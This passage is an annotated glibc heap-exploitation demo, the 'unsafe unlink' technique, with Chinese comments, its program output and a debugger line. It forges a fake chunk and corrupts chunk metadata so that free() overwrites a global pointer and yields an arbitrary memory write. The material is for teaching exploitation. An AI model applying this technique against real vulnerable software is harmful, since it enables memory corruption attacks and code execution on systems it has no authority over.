int malloc_size = 0x80; //we want to be big enough not to use fastbins int header_size = 2;
//本测试的重点就是利用free来破坏我们的全局chunk0_ptr以实现任意地址写 fprintf(stderr, "The point of this exercise is to use free to corrupt the global chunk0_ptr to achieve arbitrary memory write.\n\n");
//全局指针为chunk0_ptr,我们将要攻击的chunk为chunk1_ptr fprintf(stderr, "The global chunk0_ptr is at %p, pointing to %p\n", &chunk0_ptr, chunk0_ptr); fprintf(stderr, "The victim chunk we are going to corrupt is at %p\n\n", chunk1_ptr);
//我们要在chunk0中伪造一个chunk fprintf(stderr, "We create a fake chunk inside chunk0.\n");
//我们把我们的fake_chunk的fd指向我们的chunk0_ptr来满足P->FD->BK=P fprintf(stderr, "We setup the 'next_free_chunk' (fd) of our fake chunk to point near to &chunk0_ptr so that P->fd->bk = P.\n");
//我们把fake_chunk的bk指针指向我们的chunk0_ptr来满足P->BK->FD fprintf(stderr, "We setup the 'previous_free_chunk' (bk) of our fake chunk to point near to &chunk0_ptr so that P->bk->fd = P.\n");
//通过这么设置,我们就可以成功bypass堆的检测即(P->FD->BK!=P||P->BK->FD!=P)==FALSE fprintf(stderr, "With this setup we can pass this check: (P->fd->bk != P || P->bk->fd != P) == False\n"); chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2); fprintf(stderr, "Fake chunk fd: %p\n",(void*) chunk0_ptr[2]); fprintf(stderr, "Fake chunk bk: %p\n\n",(void*) chunk0_ptr[3]);
//我们假设我们可以通过溢出chunk0使得我们可以自由的更改chunk1的内容 fprintf(stderr, "We assume that we have an overflow in chunk0 so that we can freely change chunk1 metadata.\n"); uint64_t *chunk1_hdr = chunk1_ptr - header_size;
//我们用chunk1的previous_size来收缩chunk0,让free认为我们的chunk0是在我们的伪造的chunk的地方开始的 fprintf(stderr, "We shrink the size of chunk0 (saved as 'previous_size' in chunk1) so that free will think that chunk0 starts where we placed our fake chunk.\n"); fprintf(stderr, "It's important that our fake chunk begins exactly where the known pointer points and that we shrink the chunk accordingly\n"); chunk1_hdr[0] = malloc_size;
//如果我们正常的free chunk0,那么chunk1的pre_szie将是0x90,然而现在是一个新的值 fprintf(stderr, "If we had 'normally' freed chunk0, chunk1.previous_size would have been 0x90, however this is its new value: %p\n",(void*)chunk1_hdr[0]);
//我们通过将chunk1的pre_size设置为false,就可以将我们所伪造的chunk标记为free状态 fprintf(stderr, "We mark our fake chunk as free by setting 'previous_in_use' of chunk1 as False.\n\n"); chunk1_hdr[1] &= ~1;
//现在我们free chunk1,这时发生向后合并将会unlink我们所伪造的chunk,从而覆写chunk0_ptr fprintf(stderr, "Now we free chunk1 so that consolidate backward will unlink our fake chunk, overwriting chunk0_ptr.\n"); fprintf(stderr, "You can find the source of the unlink macro at https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=ef04360b918bceca424482c6db03cc5ec90c3e00;hb=07c18a008c2ed8f5660adba2b778671db159a141#l1344\n\n"); free(chunk1_ptr);
//在这个指针上,我们可以通过chunk0_ptr来覆写其自身以指向任意内存 fprintf(stderr, "At this point we can use chunk0_ptr to overwrite itself to point to an arbitrary location.\n"); char victim_string[8]; strcpy(victim_string,"Hello!~"); chunk0_ptr[3] = (uint64_t) victim_string;
//chunk0_ptr如今指向了我们想要的地方,我们可以用它来写我们的字符串了 fprintf(stderr, "chunk0_ptr is now pointing where we want, we use it to overwrite our victim string.\n"); fprintf(stderr, "Original value: %s\n",victim_string); chunk0_ptr[0] = 0x4141414142424242LL; fprintf(stderr, "New Value: %s\n",victim_string); }
The global chunk0_ptr is at 0x602070, pointing to0x255b010 The victim chunk we are going to corrupt is at 0x255b0a0
We create a fake chunk inside chunk0. We setup the 'next_free_chunk' (fd) of our fake chunk to point near to &chunk0_ptr so that P->fd->bk = P. We setup the 'previous_free_chunk' (bk) of our fake chunk to point near to &chunk0_ptr so that P->bk->fd = P. With this setup we can pass this check: (P->fd->bk != P || P->bk->fd != P) == False Fake chunk fd: 0x602058 Fake chunk bk: 0x602060
We assume that we have an overflow in chunk0 so that we can freely change chunk1 metadata. We shrink the size of chunk0 (saved as'previous_size'in chunk1) so that free will think that chunk0 starts where we placed our fake chunk. It's important that our fake chunk begins exactly where the known pointer points and that we shrink the chunk accordingly If we had 'normally' freed chunk0, chunk1.previous_size would have been 0x90, however this is its newvalue: 0x80 We mark our fake chunk as free by setting 'previous_in_use'of chunk1 asFalse.
Now we free chunk1 so that consolidate backward will unlink our fake chunk, overwriting chunk0_ptr.
At this point we can use chunk0_ptr to overwrite itself to point to an arbitrary location. chunk0_ptr is now pointing where we want, we use it to overwrite our victim string. Originalvalue: Hello!~ NewValue: BBBBAAAA
36 uint64_t *chunk1_hdr = chunk1_ptr - header_size; ► 37 fprintf(stderr, "We shrink the size of chunk0 (saved as 'previous_size' in chunk1) so that free will think that chunk0 starts where we placed our fake chunk.\n");